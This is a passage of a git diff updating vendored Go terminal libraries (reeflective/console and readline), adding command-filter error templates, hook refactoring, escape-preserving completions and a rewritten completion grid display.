+var replacer = strings.NewReplacer( + "\n", ` `, + "\t", ` `, + "\\ ", " ", // User-escaped spaces in words. +) diff --git a/vendor/github.com/reeflective/console/console.go b/vendor/github.com/reeflective/console/console.go index ae9898f563..619dd69f41 100644 --- a/vendor/github.com/reeflective/console/console.go +++ b/vendor/github.com/reeflective/console/console.go @@ -136,11 +136,12 @@ func (c *Console) Menu(name string) *Menu { // that belong to this new menu. If the menu is invalid, i.e that no commands // are bound to this menu name, the current menu is kept. func (c *Console) SwitchMenu(menu string) { - c.mutex.RLock() - defer c.mutex.RUnlock() + c.mutex.Lock() + target, found := c.menus[menu] + c.mutex.Unlock() - // Only switch if the target menu was found. - if target, found := c.menus[menu]; found && target != nil { + if found && target != nil { + // Only switch if the target menu was found. current := c.activeMenu() if current != nil && target == current { return diff --git a/vendor/github.com/reeflective/console/syntax-highlighter.go b/vendor/github.com/reeflective/console/highlighter.go similarity index 100% rename from vendor/github.com/reeflective/console/syntax-highlighter.go rename to vendor/github.com/reeflective/console/highlighter.go diff --git a/vendor/github.com/reeflective/console/menu.go b/vendor/github.com/reeflective/console/menu.go index 27d8412a18..14ed9490bf 100644 --- a/vendor/github.com/reeflective/console/menu.go +++ b/vendor/github.com/reeflective/console/menu.go @@ -2,12 +2,16 @@ package console import ( "bytes" + "errors" "fmt" + "io" "strings" "sync" + "text/template" - "github.com/reeflective/readline" "github.com/spf13/cobra" + + "github.com/reeflective/readline" ) // Menu - A menu is a simple way to seggregate commands based on @@ -35,6 +39,9 @@ type Menu struct { // Command spawner cmds Commands + // An error template to use to produce errors when a command is unavailable. + errFilteredTemplate string + // History sources peculiar to this menu. historyNames []string histories map[string]readline.History @@ -186,21 +193,106 @@ func (m *Menu) Printf(msg string, args ...any) (n int, err error) { return m.console.Printf(buf) } +// CheckIsAvailable checks if a target command is marked as filtered +// by the console application registered/and or active filters (added +// with console.Hide/ShowCommand()). +// If filtered, returns a template-formatted error message showing the +// list of incompatible filters. If not filtered, no error is returned. +func (m *Menu) CheckIsAvailable(cmd *cobra.Command) error { + if cmd == nil { + return nil + } + + filters := m.ActiveFiltersFor(cmd) + if len(filters) == 0 { + return nil + } + + var bufErr strings.Builder + + err := tmpl(&bufErr, m.errorFilteredCommandTemplate(filters), map[string]interface{}{ + "menu": m, + "cmd": cmd, + "filters": filters, + }) + + if err != nil { + return err + } + + return errors.New(bufErr.String()) +} + +// ActiveFiltersFor returns all the active menu filters that a given command +// does not declare as compliant with (added with console.Hide/ShowCommand()). +func (m *Menu) ActiveFiltersFor(cmd *cobra.Command) []string { + if cmd.Annotations == nil { + return nil + } + + m.console.mutex.Lock() + defer m.console.mutex.Unlock() + + // Get the filters on the command + filterStr := cmd.Annotations[CommandFilterKey] + var filters []string + + for _, cmdFilter := range strings.Split(filterStr, ",") { + for _, filter := range m.console.filters { + if cmdFilter != "" && cmdFilter == filter { + filters = append(filters, cmdFilter) + } + } + } + + return filters +} + +// SetErrFilteredCommandTemplate sets the error template to be used +// when a called command can't be executed because it's mark filtered. +func (m *Menu) SetErrFilteredCommandTemplate(s string) { + m.errFilteredTemplate = s +} + // resetPreRun is called before each new read line loop and before arbitrary RunCommand() calls. // This function is responsible for resetting the menu state to a clean state, regenerating the // menu commands, and ensuring that the correct prompt is bound to the shell. func (m *Menu) resetPreRun() { - m.console.mutex.RLock() - defer m.console.mutex.RUnlock() + m.mutex.Lock() + defer m.mutex.Unlock() + + // Commands + if m.cmds != nil { + m.Command = m.cmds() + } + + if m.Command == nil { + m.Command = &cobra.Command{ + Annotations: make(map[string]string), + } + } + + // Hide commands that are not available + m.hideFilteredCommands(m.Command) // Menu setup - m.resetCommands() // Regenerate the commands for the menu. m.resetCmdOutput() // Reset or adjust any buffered command output. m.prompt.bind(m.console.shell) // Prompt binding +} + +// hide commands that are filtered so that they are not +// shown in the help strings or proposed as completions. +func (m *Menu) hideFilteredCommands(root *cobra.Command) { + for _, cmd := range root.Commands() { + // Don't override commands if they are already hidden + if cmd.Hidden { + continue + } - // Console-wide setup. - m.console.ensureNoRootRunner() // Avoid printing any help when the command line is empty - m.console.hideFilteredCommands() // Hide commands that are not available + if filters := m.ActiveFiltersFor(cmd); len(filters) > 0 { + cmd.Hidden = true + } + } } func (m *Menu) resetCmdOutput() { @@ -217,20 +309,6 @@ func (m *Menu) resetCmdOutput() { m.out.WriteString("\n") } -func (m *Menu) resetCommands() { - if m.cmds != nil { - m.Command = m.cmds() - } - - if m.Command == nil { - m.Command = &cobra.Command{ - Annotations: make(map[string]string), - } - } - - m.SilenceUsage = true -} - func (m *Menu) defaultHistoryName() string { var name string @@ -240,3 +318,24 @@ func (m *Menu) defaultHistoryName() string { return fmt.Sprintf("local history%s", name) } + +func (m *Menu) errorFilteredCommandTemplate(filters []string) string { + if m.errFilteredTemplate != "" { + return m.errFilteredTemplate + } + + return `Command {{.cmd.Name}} is only available for: {{range .filters }} + - {{.}} {{end}}` +} + +// tmpl executes the given template text on data, writing the result to w. +func tmpl(w io.Writer, text string, data interface{}) error { + t := template.New("top") + t.Funcs(templateFuncs) + template.Must(t.Parse(text)) + return t.Execute(w, data) +} + +var templateFuncs = template.FuncMap{ + "trim": strings.TrimSpace, +} diff --git a/vendor/github.com/reeflective/console/run.go b/vendor/github.com/reeflective/console/run.go index eb5b60b9c1..b14a7df415 100644 --- a/vendor/github.com/reeflective/console/run.go +++ b/vendor/github.com/reeflective/console/run.go @@ -37,7 +37,7 @@ func (c *Console) Start() error { c.printed = false - if err := c.runPreReadHooks(); err != nil { + if err := c.runAllE(c.PreReadlineHooks); err != nil { fmt.Printf("Pre-read error: %s\n", err.Error()) continue } @@ -83,13 +83,31 @@ func (c *Console) Start() error { // the library user is responsible for setting // the cobra behavior. // If it's an interrupt, we take care of it. - c.execute(menu, args, false) + if err := c.execute(menu, args, false); err != nil { + fmt.Println(err) + } } } -// RunCommand is a convenience function to run a command in a given menu. -// After running, the menu commands are reset, and the prompts reloaded. -func (m *Menu) RunCommand(line string) (err error) { +// RunCommandArgs is a convenience function to run a command line in a given menu. +// After running, the menu's commands are reset, and the prompts reloaded, therefore +// mostly mimicking the behavior that is the one of the normal readline/run/readline +// workflow. +// Although state segregation is a priority for this library to be ensured as much +// as possible, you should be cautious when using this function to run commands. +func (m *Menu) RunCommandArgs(args []string) (err error) { + // The menu used and reset is the active menu. + // Prepare its output buffer for the command. + m.resetPreRun() + + // Run the command and associated helpers. + return m.console.execute(m, args, !m.console.isExecuting) +} + +// RunCommandLine is the equivalent of menu.RunCommandArgs(), but accepts +// an unsplit command line to execute. This line is split and processed in +// *sh-compliant form, identically to how lines are in normal console usage. +func (m *Menu) RunCommandLine(line string) (err error) { if len(line) == 0 { return } @@ -100,14 +118,7 @@ func (m *Menu) RunCommand(line string) (err error) { return fmt.Errorf("line error: %w", err) } - // The menu used and reset is the active menu. - // Prepare its output buffer for the command. - m.resetPreRun() - - // Run the command and associated helpers. - m.console.execute(m, args, !m.console.isExecuting) - - return + return m.RunCommandArgs(args) } // execute - The user has entered a command input line, the arguments have been processed: @@ -134,14 +145,14 @@ func (c *Console) execute(menu *Menu, args []string, async bool) (err error) { // Find the target command: if this command is filtered, don't run it. target, _, _ := cmd.Find(args) - if c.isFiltered(target) { - return + + if err := menu.CheckIsAvailable(target); err != nil { + return err } // Console-wide pre-run hooks, cannot. - if err = c.runPreRunHooks(); err != nil { - fmt.Printf("Pre-run error: %s\n", err.Error()) - return + if err = c.runAllE(c.PreCmdRunHooks); err != nil { + return fmt.Errorf("pre-run error: %s", err.Error()) } // Assign those arguments to our parser. @@ -162,7 +173,10 @@ func (c *Console) execute(menu *Menu, args []string, async bool) (err error) { // Wait for the command to finish, or for an OS signal to be caught. select { case <-ctx.Done(): - err = ctx.Err() + if !errors.Is(ctx.Err(), context.Canceled) { + err = ctx.Err() + } + case signal := <-sigchan: cancel(errors.New(signal.String())) menu.handleInterrupt(errors.New(signal.String())) @@ -181,7 +195,7 @@ func (c *Console) executeCommand(cmd *cobra.Command, cancel context.CancelCauseF // And the post-run hooks in the same goroutine, // because they should not be skipped even if // the command is backgrounded by the user. - if err := c.runPostRunHooks(); err != nil { + if err := c.runAllE(c.PostCmdRunHooks); err != nil { cancel(err) return } @@ -190,18 +204,6 @@ func (c *Console) executeCommand(cmd *cobra.Command, cancel context.CancelCauseF cancel(nil) } -// Generally, an empty command entered should just print a new prompt, -// unlike for classic CLI usage when the program will print its usage string. -// We simply remove any RunE from the root command, so that nothing is -// printed/executed by default. Pre/Post runs are still used if any. -func (c *Console) ensureNoRootRunner() { - if c.activeMenu().Command != nil { - c.activeMenu().RunE = func(cmd *cobra.Command, args []string) error { - return nil - } - } -} - func (c *Console) loadActiveHistories() { c.shell.History.Delete() @@ -210,8 +212,8 @@ func (c *Console) loadActiveHistories() { } } -func (c *Console) runPreReadHooks() error { - for _, hook := range c.PreReadlineHooks { +func (c *Console) runAllE(hooks []func() error) error { + for _, hook := range hooks { if err := hook(); err != nil { return err } @@ -235,26 +237,6 @@ func (c *Console) runLineHooks(args []string) ([]string, error) { return processed, nil } -func (c *Console) runPreRunHooks() error { - for _, hook := range c.PreCmdRunHooks { - if err := hook(); err != nil { - return err - } - } - - return nil -} - -func (c *Console) runPostRunHooks() error { - for _, hook := range c.PostCmdRunHooks { - if err := hook(); err != nil { - return err - } - } - - return nil -} - // monitorSignals - Monitor the signals that can be sent to the process // while a command is running. We want to be able to cancel the command. func (c *Console) monitorSignals() <-chan os.Signal { diff --git a/vendor/github.com/reeflective/readline/completions.go b/vendor/github.com/reeflective/readline/completions.go index 4ed2c108d9..099a4fd276 100644 --- a/vendor/github.com/reeflective/readline/completions.go +++ b/vendor/github.com/reeflective/readline/completions.go @@ -22,6 +22,7 @@ type Completions struct { noSort map[string]bool listSep map[string]string pad map[string]bool + escapes map[string]bool // Initially this will be set to the part of the current word // from the beginning of the word up to the position of the cursor. @@ -48,7 +49,7 @@ func CompleteValues(values ...string) Completions { // CompleteStyledValues is like CompleteValues but also accepts a style. func CompleteStyledValues(values ...string) Completions { if length := len(values); length%2 != 0 { - return Message("invalid amount of arguments [CompleteStyledValues]: %v", length) + return CompleteMessage("invalid amount of arguments [CompleteStyledValues]: %v", length) } vals := make([]Completion, 0, len(values)/2) @@ -62,7 +63,7 @@ func CompleteStyledValues(values ...string) Completions { // CompleteValuesDescribed completes arbitrary key (values) with an additional description (value, description pairs). func CompleteValuesDescribed(values ...string) Completions { if length := len(values); length%2 != 0 { - return Message("invalid amount of arguments [CompleteValuesDescribed]: %v", length) + return CompleteMessage("invalid amount of arguments [CompleteValuesDescribed]: %v", length) } vals := make([]Completion, 0, len(values)/2) @@ -76,7 +77,7 @@ func CompleteValuesDescribed(values ...string) Completions { // CompleteStyledValuesDescribed is like CompleteValues but also accepts a style. func CompleteStyledValuesDescribed(values ...string) Completions { if length := len(values); length%3 != 0 { - return Message("invalid amount of arguments [CompleteStyledValuesDescribed]: %v", length) + return CompleteMessage("invalid amount of arguments [CompleteStyledValuesDescribed]: %v", length) } vals := make([]Completion, 0, len(values)/3) @@ -87,13 +88,27 @@ func CompleteStyledValuesDescribed(values ...string) Completions { return Completions{values: vals} } +// CompleteMessage ads a help message to display along with +// or in places where no completions can be generated. +func CompleteMessage(msg string, args ...any) Completions { + comps := Completions{} + + if len(args) > 0 { + msg = fmt.Sprintf(msg, args...) + } + + comps.messages.Add(msg) + + return comps +} + // CompleteRaw directly accepts a list of prepared Completion values. func CompleteRaw(values []Completion) Completions { return Completions{values: completion.RawValues(values)} } // Message displays a help messages in places where no completions can be generated. -func Message(msg string, args ...interface{}) Completions { +func Message(msg string, args ...any) Completions { comps := Completions{} if len(args) > 0 { @@ -108,7 +123,7 @@ func Message(msg string, args ...interface{}) Completions { // Suppress suppresses specific error messages using regular expressions. func (c Completions) Suppress(expr ...string) Completions { if err := c.messages.Suppress(expr...); err != nil { - return Message(err.Error()) + return CompleteMessage(err.Error()) } return c @@ -153,7 +168,7 @@ func (c Completions) Suffix(suffix string) Completions { } // Usage sets the usage. -func (c Completions) Usage(usage string, args ...interface{}) Completions { +func (c Completions) Usage(usage string, args ...any) Completions { return c.UsageF(func() string { return fmt.Sprintf(usage, args...) }) @@ -255,7 +270,7 @@ func (c Completions) ListSeparator(seps ...string) Completions { } if length := len(seps); len(seps) > 1 && length%2 != 0 { - return Message("invalid amount of arguments (ListSeparator): %v", length) + return CompleteMessage("invalid amount of arguments (ListSeparator): %v", length) } if len(seps) == 1 { @@ -322,6 +337,35 @@ func (c Completions) JustifyDescriptions(tags ...string) Completions { return c } +// PreserveEscapes forces the completion engine to keep all escaped characters in +// the inserted completion (c.Value of the Completion type). By default, those are +// stripped out and only kept in the completion.Display. If no arguments are given, +// escape sequence preservation will apply to all tags. +// +// This has very few use cases: one of them might be when you want to read a string +// from the readline shell that might include color sequences to be preserved. +// In such cases, this function gives a double advantage: the resulting completion +// is still "color-displayed" in the input line, and returned to the readline with +// them. A classic example is where you want to read a prompt string configuration. +// +// Note that this option might have various undefined behaviors when it comes to +// completion prefix matching, insertion, removal and related things. +func (c Completions) PreserveEscapes(tags ...string) Completions { + if c.escapes == nil { + c.escapes = make(map[string]bool) + } + + if len(tags) == 0 { + c.escapes["*"] = true + } + + for _, tag := range tags { + c.escapes[tag] = true + } + + return c +} + // Merge merges Completions (existing values are overwritten) // // a := CompleteValues("A", "B").Invoke(c) @@ -400,6 +444,10 @@ func (c *Completions) convert() completion.Values { comps.NoSort = c.noSort comps.ListSep = c.listSep comps.Pad = c.pad + comps.Escapes = c.escapes + + comps.PREFIX = c.PREFIX + comps.SUFFIX = c.SUFFIX return comps } diff --git a/vendor/github.com/reeflective/readline/internal/color/color.go b/vendor/github.com/reeflective/readline/internal/color/color.go index 0ab48c1d45..91afc219ff 100644 --- a/vendor/github.com/reeflective/readline/internal/color/color.go +++ b/vendor/github.com/reeflective/readline/internal/color/color.go @@ -3,6 +3,8 @@ package color import ( "os" "regexp" + "strconv" + "strings" ) // Base text effects. @@ -82,6 +84,44 @@ func Fmt(color string) string { return SGRStart + color + SGREnd } +// Trim accepts a string including arbitrary escaped sequences at arbitrary +// index positions, and returns the first 'n' printable characters in this +// string, including all escape codes found between and immediately around +// those characters (including surrounding 1st and 80th ones). +func Trim(input string, maxPrintableLength int) string { + if len(input) < maxPrintableLength { + return input + } + + // Find all escape sequences in the input + escapeIndices := re.FindAllStringIndex(input, -1) + + // Iterate over escape sequences to find the + // last escape index within maxPrintableLength + for _, indices := range escapeIndices { + if indices[0] <= maxPrintableLength { + maxPrintableLength += indices[1] - indices[0] + } else { + break + } + } + + // Determine the end index for limiting printable content + return input[:maxPrintableLength] +} + +// UnquoteRC removes the `\e` escape used in readline .inputrc +// configuration values and replaces it with the printable escape. +func UnquoteRC(color string) string { + color = strings.ReplaceAll(color, `\e`, "\x1b") + + if unquoted, err := strconv.Unquote(color); err == nil { + return unquoted + } + + return color +} + // HasEffects returns true if colors and effects are supported // on the current terminal. func HasEffects() bool { @@ -159,14 +199,3 @@ var re = regexp.MustCompile(ansi) func Strip(str string) string { return re.ReplaceAllString(str, "") } - -// wrong: reapplies fg/bg escapes regardless of the string passed. -// Users should be in charge of applying any effect as they wish. -// func SGR(color string, fg bool) string { -// if fg { -// return SGRStart + FgColorStart + color + SGREnd -// // return SGRStart + color + SGREnd -// } -// -// return SGRStart + BgColorStart + color + SGREnd -// } diff --git a/vendor/github.com/reeflective/readline/internal/completion/completion.go b/vendor/github.com/reeflective/readline/internal/completion/completion.go index 5b80a21be7..dd46657d9c 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/completion.go +++ b/vendor/github.com/reeflective/readline/internal/completion/completion.go @@ -17,6 +17,9 @@ type Candidate struct { // inserted immediately after the completion. This is used for slash-autoremoval in path // completions, comma-separated completions, etc. noSpace SuffixMatcher + + displayLen int // Real length of the displayed candidate, that is not counting escaped sequences. + descLen int } // Values is used internally to hold all completion candidates and their associated data. @@ -29,6 +32,7 @@ type Values struct { NoSort map[string]bool ListSep map[string]string Pad map[string]bool + Escapes map[string]bool // Initially this will be set to the part of the current word // from the beginning of the word up to the position of the cursor. diff --git a/vendor/github.com/reeflective/readline/internal/completion/display.go b/vendor/github.com/reeflective/readline/internal/completion/display.go index 46f13e745a..e4b2d9b632 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/display.go +++ b/vendor/github.com/reeflective/readline/internal/completion/display.go @@ -3,6 +3,7 @@ package completion import ( "bufio" "fmt" + "regexp" "strings" "github.com/reeflective/readline/internal/color" @@ -30,7 +31,7 @@ func Display(eng *Engine, maxRows int) { completions := term.ClearLineAfter for _, group := range eng.groups { - completions += group.writeComps(eng) + completions += eng.renderCompletions(group) } // Crop the completions so that it fits within our terminal @@ -47,6 +48,129 @@ func Coordinates(e *Engine) int { return e.usedY } +// renderCompletions renders all completions in a given list (with aliases or not). +// The descriptions list argument is optional. +func (e *Engine) renderCompletions(grp *group) string { + var builder strings.Builder + + if len(grp.rows) == 0 { + return "" + } + + if grp.tag != "" { + tag := fmt.Sprintf("%s%s%s %s", color.Bold, color.FgYellow, grp.tag, color.Reset) + builder.WriteString(tag + term.ClearLineAfter + term.NewlineReturn) + } + + for rowIndex, row := range grp.rows { + for columnIndex := range grp.columnsWidth { + var value Candidate + + // If there are aliases, we might have no completions at the current + // coordinates, so just print the corresponding padding and return. + if len(row) > columnIndex { + value = row[columnIndex] + } + + // Apply all highlightings to the displayed value: + // selection, prefixes, styles and other things, + padding := grp.getPad(value, columnIndex, false) + isSelected := rowIndex == grp.posY && columnIndex == grp.posX && grp.isCurrent + display := e.highlightDisplay(grp, value, padding, columnIndex, isSelected) + + builder.WriteString(display) + + // Add description if no aliases, or if done with them. + onLast := columnIndex == len(grp.columnsWidth)-1 + if grp.aliased && onLast && value.Description == "" { + value = row[0] + } + + if !grp.aliased || onLast { + grp.maxDescAllowed = grp.setMaximumSizes(columnIndex) + + descPad := grp.getPad(value, columnIndex, true) + desc := e.highlightDesc(grp, value, descPad, rowIndex, columnIndex, isSelected) + builder.WriteString(desc) + } + } + + // We're done for this line. + builder.WriteString(term.ClearLineAfter + term.NewlineReturn) + } + + return builder.String() +} + +func (e *Engine) highlightDisplay(grp *group, val Candidate, pad, col int, selected bool) (candidate string) { + // An empty display value means padding. + if val.Display == "" { + return padSpace(pad) + } + + reset := color.Fmt(val.Style) + candidate, padded := grp.trimDisplay(val, pad, col) + + if e.IsearchRegex != nil && e.isearchBuf.Len() > 0 && !selected { + match := e.IsearchRegex.FindString(candidate) + match = color.Fmt(color.Bg+"244") + match + color.Reset + reset + candidate = e.IsearchRegex.ReplaceAllLiteralString(candidate, match) + } + + if selected { + // If the comp is currently selected, overwrite any highlighting already applied. + userStyle := color.UnquoteRC(e.config.GetString("completion-selection-style")) + selectionHighlightStyle := color.Fmt(color.Bg+"255") + userStyle + candidate = selectionHighlightStyle + candidate + + if grp.aliased { + candidate += color.Reset + } + } else { + // Highlight the prefix if any and configured for it. + if e.config.GetBool("colored-completion-prefix") && e.prefix != "" { + if prefixMatch, err := regexp.Compile(fmt.Sprintf("^%s", e.prefix)); err == nil { + prefixColored := color.Bold + color.FgBlue + e.prefix + color.BoldReset + color.FgDefault + reset + candidate = prefixMatch.ReplaceAllString(candidate, prefixColored) + } + } + + candidate = reset + candidate + color.Reset + } + + return candidate + padded +} + +func (e *Engine) highlightDesc(grp *group, val Candidate, pad, row, col int, selected bool) (desc string) { + if val.Description == "" { + return color.Reset + } + + desc, padded := grp.trimDesc(val, pad) + + // If the next row has the same completions, replace the description with our hint. + if len(grp.rows) > row+1 && grp.rows[row+1][0].Description == val.Description { + desc = "|" + } else if e.IsearchRegex != nil && e.isearchBuf.Len() > 0 && !selected { + match := e.IsearchRegex.FindString(desc) + match = color.Fmt(color.Bg+"244") + match + color.Reset + color.Dim + desc = e.IsearchRegex.ReplaceAllLiteralString(desc, match) + } + + // If the comp is currently selected, overwrite any highlighting already applied. + // Replace all background reset escape sequences in it, to ensure correct display. + if row == grp.posY && col == grp.posX && grp.isCurrent && !grp.aliased { + userDescStyle := color.UnquoteRC(e.config.GetString("completion-selection-style")) + selectionHighlightStyle := color.Fmt(color.Bg+"255") + userDescStyle + desc = strings.ReplaceAll(desc, color.BgDefault, userDescStyle) + desc = selectionHighlightStyle + desc + } + + compDescStyle := color.UnquoteRC(e.config.GetString("completion-description-style")) + + return compDescStyle + desc + color.Reset + padded +} + // cropCompletions - When the user cycles through a completion list longer // than the console MaxTabCompleterRows value, we crop the completions string // so that "global" cycling (across all groups) is printed correctly. diff --git a/vendor/github.com/reeflective/readline/internal/completion/engine.go b/vendor/github.com/reeflective/readline/internal/completion/engine.go index 54de45ab3d..4532cf58d3 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/engine.go +++ b/vendor/github.com/reeflective/readline/internal/completion/engine.go @@ -116,7 +116,7 @@ func (e *Engine) SkipDisplay() { func (e *Engine) Select(row, column int) { grp := e.currentGroup() - if grp == nil || len(grp.values) == 0 { + if grp == nil || len(grp.rows) == 0 { return } diff --git a/vendor/github.com/reeflective/readline/internal/completion/group.go b/vendor/github.com/reeflective/readline/internal/completion/group.go index 7d218e65ea..5252573134 100644 --- a/vendor/github.com/reeflective/readline/internal/completion/group.go +++ b/vendor/github.com/reeflective/readline/internal/completion/group.go @@ -1,32 +1,34 @@ package completion import ( - "fmt" - "regexp" + "math" "sort" + "strconv" "strings" - "unicode/utf8" "github.com/reeflective/readline/internal/color" "github.com/reeflective/readline/internal/term" + "golang.org/x/exp/slices" ) // group is used to structure different types of completions with different // display types, autosuffix removal matchers, under their tag heading. type group struct { - tag string // Printed on top of the group's completions - values [][]Candidate // Values are grouped by aliases/rows, with computed paddings. - noSpace SuffixMatcher // Suffixes to remove if a space or non-nil character is entered after the completion. - columnsWidth []int // Computed width for each column of completions, when aliases - listSeparator string // This is used to separate completion candidates from their descriptions. - list bool // Force completions to be listed instead of grided - noSort bool // Don't sort completions - aliased bool // Are their aliased completions - isCurrent bool // Currently cycling through this group, for highlighting choice - maxLength int // Each group can be limited in the number of comps offered - tcMaxLength int // Used when display is map/list, for determining message width - maxDescWidth int - maxCellLength int + tag string // Printed on top of the group's completions + rows [][]Candidate // Values are grouped by aliases/rows, with computed paddings. + noSpace SuffixMatcher // Suffixes to remove if a space or non-nil character is entered after the completion. + columnsWidth []int // Computed width for each column of completions, when aliases + descriptionsWidth []int // Computed width for each column of completions, when aliases + listSeparator string // This is used to separate completion candidates from their descriptions. + list bool // Force completions to be listed instead of grided + noSort bool // Don't sort completions + aliased bool // Are their aliased completions + preserveEscapes bool // Preserve escape sequences in the completion inserted values. + isCurrent bool // Currently cycling through this group, for highlighting choice + longestValue int // Used when display is map/list, for determining message width + longestDesc int // Used to know how much descriptions can use when there are aliases. + maxDescAllowed int // Maximum ALLOWED description width. + termWidth int // Term size queried at beginning of computes by the engine. // Selectors (position/bounds) management posX int @@ -35,334 +37,393 @@ type group struct { maxY int } -func (e *Engine) group(comps Values) { - // Compute hints once we found either any errors, - // or if we have no completions but usage strings. - defer func() { - e.hintCompletions(comps) - }() - - // Nothing else to do if no completions - if len(comps.values) == 0 { - return +// newCompletionGroup initializes a group of completions to be displayed in the same area/header. +func (e *Engine) newCompletionGroup(comps Values, tag string, vals RawValues, descriptions []string) { + grp := &group{ + tag: tag, + noSpace: comps.NoSpace, + posX: -1, + posY: -1, + columnsWidth: []int{0}, + termWidth: term.GetWidth(), + longestDesc: longest(descriptions, true), } - // Apply the prefix to the completions, and filter out any - // completions that don't match, optionally ignoring case. - matchCase := e.config.GetBool("completion-ignore-case") - comps.values = comps.values.FilterPrefix(e.prefix, !matchCase) + // Initialize all options for the group. + grp.initOptions(e, &comps, tag, vals) - comps.values.EachTag(func(tag string, values RawValues) { - // Separate the completions that have a description and - // those which don't, and devise if there are aliases. - vals, noDescVals, aliased := e.groupValues(&comps, values) + // Global actions to take on all values. + if !grp.noSort { + sort.Stable(vals) + } - // Create a "first" group with the "first" grouped values - e.newGroup(comps, tag, vals, aliased) + // Initial processing of our assigned values: + // Compute color/no-color sizes, some max/min, etc. + grp.prepareValues(vals) - // If we have a remaining group of values without descriptions, - // we will print and use them in a separate, anonymous group. - if len(noDescVals) > 0 { - e.newGroup(comps, "", noDescVals, false) - } - }) + // Generate the full grid of completions. + // Special processing is needed when some values + // share a common description, they are "aliased". + if completionsAreAliases(vals) { + grp.initCompletionAliased(vals) + } else { + grp.initCompletionsGrid(vals) + } - e.justifyGroups(comps) + e.groups = append(e.groups, grp) } -// groupValues separates values based on whether they have descriptions, or are aliases of each other. -func (e *Engine) groupValues(comps *Values, values RawValues) (vals, noDescVals RawValues, aliased bool) { - var descriptions []string +// initOptions checks for global or group-specific options (display, behavior, grouping, etc). +func (g *group) initOptions(eng *Engine, comps *Values, tag string, vals RawValues) { + // Override grid/list displays + _, g.list = comps.ListLong[tag] + if _, all := comps.ListLong["*"]; all && len(comps.ListLong) == 1 { + g.list = true + } - prefix := "" - if e.prefix != "\"\"" && e.prefix != "''" { - prefix = e.prefix + // Description list separator + listSep, err := strconv.Unquote(eng.config.GetString("completion-list-separator")) + if err != nil { + g.listSeparator = "--" + } else { + g.listSeparator = listSep } - for _, val := range values { - // Ensure all values have a display string. - if val.Display == "" { - val.Display = val.Value - } + // Strip escaped characters in the value component. + g.preserveEscapes = comps.Escapes[g.tag] + if !g.preserveEscapes { + g.preserveEscapes = comps.Escapes["*"] + } - // Currently this is because errors are passed as completions. - if strings.HasPrefix(val.Value, prefix+"ERR") && val.Value == prefix+"_" { - if val.Description != "" && comps != nil { - comps.Messages.Add(color.FgRed + val.Description) - } + // Always list long commands when they have descriptions. + if strings.HasSuffix(g.tag, "commands") && len(vals) > 0 && vals[0].Description != "" { + g.list = true + } - continue + // Description list separator + listSep, found := comps.ListSep[tag] + if !found { + if allSep, found := comps.ListSep["*"]; found { + g.listSeparator = allSep } + } else { + g.listSeparator = listSep + } - // Grid completions - if val.Description == "" { - noDescVals = append(noDescVals, val) - - continue - } + // Override sorting or sort if needed + g.noSort = comps.NoSort[tag] + if noSort, all := comps.NoSort["*"]; noSort && all && len(comps.NoSort) == 1 { + g.noSort = true + } +} - // List/map completions. - if stringInSlice(val.Description, descriptions) { - aliased = true - } +// initCompletionsGrid arranges completions when there are no aliases. +func (g *group) initCompletionsGrid(comps RawValues) { + if len(comps) == 0 { + return + } - descriptions = append(descriptions, val.Description) - vals = append(vals, val) + pairLength := g.longestValueDescribed(comps) + if pairLength > g.termWidth { + pairLength = g.termWidth } - // if no candidates have a description, swap - if len(vals) == 0 { - vals = noDescVals - noDescVals = make(RawValues, 0) + maxColumns := g.termWidth / pairLength + if g.list || maxColumns < 0 { + maxColumns = 1 } - return vals, noDescVals, aliased + rowCount := int(math.Ceil(float64(len(comps)) / (float64(maxColumns)))) + + g.rows = createGrid(comps, rowCount, maxColumns) + g.calculateMaxColumnWidths(g.rows) } -func (e *Engine) justifyGroups(values Values) { - commandGroups := make([]*group, 0) - maxCellLength := 0 +// initCompletionsGrid arranges completions when some of them share the same description. +func (g *group) initCompletionAliased(domains []Candidate) { + g.aliased = true - for _, group := range e.groups { - // Skip groups that are not to be justified - if _, justify := values.Pad[group.tag]; !justify { - if _, all := values.Pad["*"]; !all { - continue - } - } - - // Skip groups that are aliased or have more than one column - if group.aliased || len(group.columnsWidth) > 1 { - continue - } + // Filter out all duplicates: group aliased completions together. + grid, descriptions := g.createDescribedRows(domains) + g.calculateMaxColumnWidths(grid) + g.wrapExcessAliases(grid, descriptions) - commandGroups = append(commandGroups, group) + g.maxY = len(g.rows) + g.maxX = len(g.columnsWidth) +} - if group.tcMaxLength > maxCellLength { - maxCellLength = group.tcMaxLength +// This createDescribedRows function takes a list of values, a list of descriptions, and the +// terminal width as input, and returns a list of rows based on the provided requirements:. +func (g *group) createDescribedRows(values []Candidate) ([][]Candidate, []string) { + descriptionMap := make(map[string][]Candidate) + uniqueDescriptions := make([]string, 0) + rows := make([][]Candidate, 0) + + // Separate duplicates and store them. + for i, description := range values { + if slices.Contains(uniqueDescriptions, description.Description) { + descriptionMap[description.Description] = append(descriptionMap[description.Description], values[i]) + } else { + uniqueDescriptions = append(uniqueDescriptions, description.Description) + descriptionMap[description.Description] = []Candidate{values[i]} } } - for _, group := range commandGroups { - group.tcMaxLength = maxCellLength + // Sorting helps with easier grids. + for _, description := range uniqueDescriptions { + row := descriptionMap[description] + // slices.Sort(row) + // slices.Reverse(row) + rows = append(rows, row) } + + return rows, uniqueDescriptions } -func (e *Engine) newGroup(comps Values, tag string, vals RawValues, aliased bool) { - grp := &group{ - tag: tag, - noSpace: comps.NoSpace, - listSeparator: "--", - posX: -1, - posY: -1, - aliased: aliased, - columnsWidth: []int{0}, +// Wraps all rows for which there are too many aliases to be displayed on a single one. +func (g *group) wrapExcessAliases(grid [][]Candidate, descriptions []string) { + breakeven := 0 + maxColumns := len(g.columnsWidth) + + for i, width := range g.columnsWidth { + if (breakeven + width + 1) > g.termWidth/2 { + maxColumns = i + break + } + + breakeven += width + 1 } - // Check that all comps have a display value, - // and begin computing some parameters. - vals = grp.checkDisplays(vals) + var rows [][]Candidate - // Set sorting options, various display styles, etc. - grp.setOptions(comps, tag, vals) + for rowIndex := range grid { + row := grid[rowIndex] - // Keep computing/devising some parameters and constraints. - // This does not do much when we have aliased completions. - grp.computeCells(e, vals) + for len(row) > maxColumns { + rows = append(rows, row[:maxColumns]) + row = row[maxColumns:] + } - // Rearrange all candidates into a matrix of completions, - // based on most parameters computed above. - grp.makeMatrix(vals) + rows = append(rows, row) + } - e.groups = append(e.groups, grp) + g.rows = rows + g.columnsWidth = g.columnsWidth[:maxColumns] } -func (g *group) 